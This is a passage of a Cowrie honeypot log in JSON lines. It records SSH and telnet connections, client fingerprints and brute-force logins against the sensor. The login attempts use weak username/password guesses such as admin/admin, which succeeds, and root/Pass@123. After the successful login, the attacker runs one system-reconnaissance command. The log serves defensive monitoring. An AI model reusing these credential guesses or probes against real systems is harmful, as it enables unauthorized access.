{"eventid":"cowrie.session.connect","src_ip":"45.132.125.41","src_port":50996,"dst_ip":"159.203.135.109","dst_port":22,"session":"17f896811181","protocol":"ssh","message":"New connection: 45.132.125.41:50996 (159.203.135.109:22) [session: 17f896811181]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:35.157615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:35.162313Z","src_ip":"45.132.125.41","session":"17f896811181","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:35.268470Z","src_ip":"45.132.125.41","session":"17f896811181","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44018,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf0a61f0efb4","protocol":"telnet","message":"New connection: 152.42.224.71:44018 (10.17.0.5:23) [session: cf0a61f0efb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:35.423463Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"11121964","message":"login attempt [root/11121964] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:35.709797Z","src_ip":"45.132.125.41","session":"17f896811181","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37130,"dst_ip":"159.203.135.109","dst_port":22,"session":"54bb9ad6e792","protocol":"ssh","message":"New connection: 176.65.132.129:37130 (159.203.135.109:22) [session: 54bb9ad6e792]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:36.138487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:36.143111Z","src_ip":"176.65.132.129","session":"54bb9ad6e792","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:36.226661Z","src_ip":"176.65.132.129","session":"54bb9ad6e792","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:36.478335Z","src_ip":"176.65.132.129","session":"54bb9ad6e792","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:36.687465Z","src_ip":"176.65.132.129","session":"54bb9ad6e792","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:36.690767Z","src_ip":"176.65.132.129","session":"54bb9ad6e792","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:36.776951Z","src_ip":"176.65.132.129","session":"54bb9ad6e792","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:36.781826Z","src_ip":"176.65.132.129","session":"54bb9ad6e792","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:36.815612Z","src_ip":"45.132.125.41","session":"17f896811181","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.26356291770935,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:37.367963Z","src_ip":"152.42.224.71","session":"31c206c17655","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50534,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0d8d9fe1ff3","protocol":"telnet","message":"New connection: 152.42.224.71:50534 (10.17.0.5:23) [session: f0d8d9fe1ff3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:38.505729Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37144,"dst_ip":"159.203.135.109","dst_port":22,"session":"aec493c543e3","protocol":"ssh","message":"New connection: 176.65.132.129:37144 (159.203.135.109:22) [session: aec493c543e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:39.184495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:39.189209Z","src_ip":"176.65.132.129","session":"aec493c543e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:39.271669Z","src_ip":"176.65.132.129","session":"aec493c543e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.29116988182068,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:39.509827Z","src_ip":"152.42.224.71","session":"4e54105a5fbf","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"******","message":"login attempt [root/******] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:39.519271Z","src_ip":"176.65.132.129","session":"aec493c543e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:40.604454Z","src_ip":"176.65.132.129","session":"aec493c543e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37146,"dst_ip":"159.203.135.109","dst_port":22,"session":"7091aaebbe01","protocol":"ssh","message":"New connection: 176.65.132.129:37146 (159.203.135.109:22) [session: 7091aaebbe01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:42.302793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:42.307858Z","src_ip":"176.65.132.129","session":"7091aaebbe01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:42.468751Z","src_ip":"176.65.132.129","session":"7091aaebbe01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"root","message":"login attempt [deploy/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:42.739281Z","src_ip":"176.65.132.129","session":"7091aaebbe01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:43.826165Z","src_ip":"176.65.132.129","session":"7091aaebbe01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37154,"dst_ip":"159.203.135.109","dst_port":22,"session":"669808122980","protocol":"ssh","message":"New connection: 176.65.132.129:37154 (159.203.135.109:22) [session: 669808122980]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:45.640538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:45.645975Z","src_ip":"176.65.132.129","session":"669808122980","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:45.733258Z","src_ip":"176.65.132.129","session":"669808122980","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"123456","message":"login attempt [gitlab-runner/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:45.978783Z","src_ip":"176.65.132.129","session":"669808122980","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:47.064207Z","src_ip":"176.65.132.129","session":"669808122980","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.514235496520996,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:48.593663Z","src_ip":"152.42.224.71","session":"9cb995df74dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45090,"dst_ip":"159.203.135.109","dst_port":22,"session":"a79c611b03d6","protocol":"ssh","message":"New connection: 176.65.132.129:45090 (159.203.135.109:22) [session: a79c611b03d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:48.739760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:48.744445Z","src_ip":"176.65.132.129","session":"a79c611b03d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:48.826754Z","src_ip":"176.65.132.129","session":"a79c611b03d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daniel","password":"daniel","message":"login attempt [daniel/daniel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:49.078940Z","src_ip":"176.65.132.129","session":"a79c611b03d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:50.164598Z","src_ip":"176.65.132.129","session":"a79c611b03d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45104,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ce1358eefec","protocol":"ssh","message":"New connection: 176.65.132.129:45104 (159.203.135.109:22) [session: 2ce1358eefec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:51.871132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:51.876496Z","src_ip":"176.65.132.129","session":"2ce1358eefec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:51.962608Z","src_ip":"176.65.132.129","session":"2ce1358eefec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass@123","message":"login attempt [root/Pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:52.255607Z","src_ip":"176.65.132.129","session":"2ce1358eefec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.54.176.203","src_port":42864,"dst_ip":"159.203.135.109","dst_port":22,"session":"da9def40fcc9","protocol":"ssh","message":"New connection: 62.54.176.203:42864 (159.203.135.109:22) [session: da9def40fcc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:53.338668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:53.343395Z","src_ip":"62.54.176.203","session":"da9def40fcc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:53.347194Z","src_ip":"176.65.132.129","session":"2ce1358eefec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh 